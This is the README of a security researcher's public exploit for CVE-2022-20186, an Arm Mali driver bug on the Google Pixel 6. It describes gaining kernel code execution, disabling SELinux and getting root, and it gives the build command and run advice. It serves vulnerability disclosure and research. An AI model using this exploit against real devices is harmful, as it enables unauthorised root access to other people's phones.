+## Exploit for CVE-2022-20186
+
+The write up can be found [here](https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug). This is a bug in the Arm Mali kernel driver that I reported in July 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.
+
+The exploit is tested on the Google Pixel 6. The original exploit that was sent to Google is included as `hello-jni.c` as a reference and was tested on the July 2022 patch of the Pixel 6. Due to the fact that Pixel 6 cannot be downgraded from Android 13 to Android 12, an updated version of the exploit, `mali_shrinker_mmap.c` is included, which supports various firmware in Android 13, including the December patch, which is the latest affected version. For reference, I used the following command to compile with clang in ndk-21:
+
+```
+android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_shrinker_mmap.c -o mali_shrinker_mmap
+```
+
+The exploit should be run a couple of minutes after boot and should be fairly reliable. If successful, it should disable SELinux and gain root.
